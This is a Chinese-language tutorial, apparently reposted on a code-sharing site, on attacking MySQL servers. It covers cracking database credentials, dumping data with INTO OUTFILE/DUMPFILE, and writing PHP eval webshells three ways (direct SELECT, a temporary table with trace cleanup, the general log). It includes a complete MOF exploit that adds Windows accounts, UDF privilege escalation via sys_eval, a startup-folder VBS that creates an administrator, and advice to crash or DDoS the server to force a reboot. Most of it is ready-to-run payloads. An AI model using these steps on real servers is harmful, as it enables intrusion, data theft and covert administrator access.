Mysql的寫馬與提權


密碼讀取

  1. 直接從配置文件中讀取數據庫賬號密碼
  2. 爆破賬號密碼
  3. 讀取數據庫目錄中的user.MYD,root后的字符串為其用戶加密值,在線解密或者hashcat即可

脫庫

利用條件:

  1. 權限為root
  2. secure_file_priv沒有具體值
show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

Into outfile

select * from test into outfile '/tmp/test.txt'

Into dumpfile

 select * from test into dumpfile '/tmp/test.txt'

out file 與 dump file的脫褲區別

1.dumpfile只輸出一行內容,outfile多行。
2.outfile函數在將數據寫入到文件時會進行特殊格式轉換 例如\n,則dumpfile則保持原數據格式。

若我們想把一個可執行2進制文件用into outfile函數導出,事實上導出后就會被破壞

因為into outfile函數會在行末端寫入新行 更致命的是會轉義換行符,這樣的話這個2進制可執行文件就會被破壞

這時候我們用into dumpfile就能導出一個完整能執行的2進制 文件

into dumpfile函數不對任何列或行進行終止,也不執行任何轉義處理

寫Web Shell

利用條件:

  1. 權限為root
  2. secure_file_priv沒有具體值
show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

直接寫入

select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php';
select unhex('十六進制字符串') into dumpfile 'D:/WEB/shell.php';

創建表

1.先創建數據表

CREATE  table 'mysql'.'shell' ('webshell'  text not null);

2.向表單中寫入一句話

insert Into mysql.shell values('<?php $eval($_POST[shell]);?>');

3.查詢數據導出webshell

select 'webshell' from 'shell'  into outfile 'c:\\1.php';

4.刪除表,清理痕跡。

drop table if exists 'shell';

日志

1.查看genera文件配置情況

show global variables like "%genera%";

2.開啟日志記錄

set global general_log='on';

3.日志文件導出指定目錄

set global general_log_file='C:/phpstudy/WWW/hp.php';

4.記錄sql語句寫馬,演示一下,沒有安全狗,直接傳原馬

select '<?php @eval($_POST["hp"]); ?>';

5.關閉記錄

set global general_log=off;

提權

mof提權

MOF提權的條件要求十分嚴苛:

  1. windows 03及以下版本
  2. mysql啟動身份具有權限去讀寫c:/windows/system32/wbem/mof目錄
  3. secure-file-priv參數不為null

MOF文件:托管對象格式 (MOF) 文件是創建和注冊提供程序、事件類別和事件的簡便方法。文件路徑為:c:/windows/system32/wbme/mof/,其作用是每隔五秒就會去監控進程創建和死亡。

提權原理:MOF文件每五秒就會執行,而且是系統權限,我們通過mysql使用load_file將文件寫入/wbme/mof,然后系統每隔五秒就會執行一次我們上傳的MOF。MOF當中有一段是vbs腳本,我們可以通過控制這段vbs腳本的內容讓系統執行命令,進行提權。

公開的nullevt.mof利用代碼:

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用:

將上面的腳本上傳到有讀寫權限的目錄下:

這里我上傳到了C:\Documents and Settings\test

根據前面的phpmyadmin,我們使用sql語句將文件導入到c:/windows/system32/wbem/mof/
payload:

select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

值得一提的是,這里不能使用outfile,因為會在末端寫入新行,因此mof在被當作二進制文件無法正常執行,所以我們用dumpfile導出一行數據。

驗證提權:

當我們成功把mof導出時,mof就會直接被執行,且5秒創建一次用戶。

image-20201007180354716

可以看到,我們在test的普通用戶下直接添加了hpdoger用戶。剩下的操作就是用戶命令處,換成加入administrator語句即可:

net.exe user localgroup administrator hpdoger /add\

關於MOF提權的弊端:

我們提權成功后,就算被刪號,mof也會在五秒內將原賬號重建,那么這給我們退出測試造成了很大的困擾,所以謹慎使用。那么我們如何刪掉我們的入侵賬號呢?

cmd 下運行下面語句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重啟服務即可。

udf提權

什么是udf:UDF(user-defined function)是MySQL的一個拓展接口,也可稱之為用戶自定義函數,它是用來拓展MySQL的技術手段,可以說是數據庫功能的一種擴展,用戶通過自定義函數來實現在MySQL中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像本機函數如ABS()或SOUNDEX()一樣方便。

提權分析:udf是Mysql類提權的方式之一。前提是已知mysql中root的賬號密碼,我們在拿到webshell后,可以看網站根目錄下的config.php里,一般都有mysql的賬號密碼。利用root權限,創建帶有調用cmd函數的’udf.dll’(動態鏈接庫)。當我們把’udf.dll’導出指定文件夾引入Mysql時,其中的調用函數拿出來當作mysql的函數使用。這樣我們自定義的函數才被當作本機函數執行。在使用CREAT FUNCITON調用dll中的函數后,mysql賬號轉化為system權限,從而來提權。

導出dll到指定目錄:利用提權馬將寫在其中的二進制導出一個dll到指定目錄,但導出的dll文件路徑有要求

  • Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
  • Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。

但是大於5.1版本的時候沒有plugin這個文件夾,需要我們自己創建。

將udf的自定義函數引入:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll'  #引入sys_eval函數

其中,sys_eval函數是執行任意命令,並將輸出返回函數的名字,hpudf.dll是你導出文件的名字;

常見的函數如下:

cmdshell 執行cmd;

downloader 下載者,到網上下載指定文件並保存到指定目錄;

open3389 通用開3389終端服務,可指定端口(不改端口無需重啟);

backshell 反彈Shell;

ProcessView 枚舉系統進程;

KillProcess 終止指定進程;

regread 讀注冊表;

regwrite 寫注冊表;

shut 關機,注銷,重啟;

about 說明與幫助函數;

執行命令:

select sys_eval('ipconfig');

添加用戶/管理員

image-20201007193802262

查用戶

image-20201007193753266

啟動項提權

利用條件:

  1. 上傳的目錄必須具備可讀寫的權限
  2. 調用的 cmd 也必須有足夠的權限

利用SQL命令來進行VBS腳本的創建及添加。

create table secist(cmd text);

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

select * from secist into dumpfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\secist.vbs”;

可以利用一些可導致服務器藍屏的EXP,或者DDoS拒絕服務,讓管理員重啟服務器。

參考

  1. https://xz.aliyun.com/t/2719
  2. https://xz.aliyun.com/t/1491
  3. https://paper.seebug.org/20/
  4. https://www.jianshu.com/p/c030eb729410


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM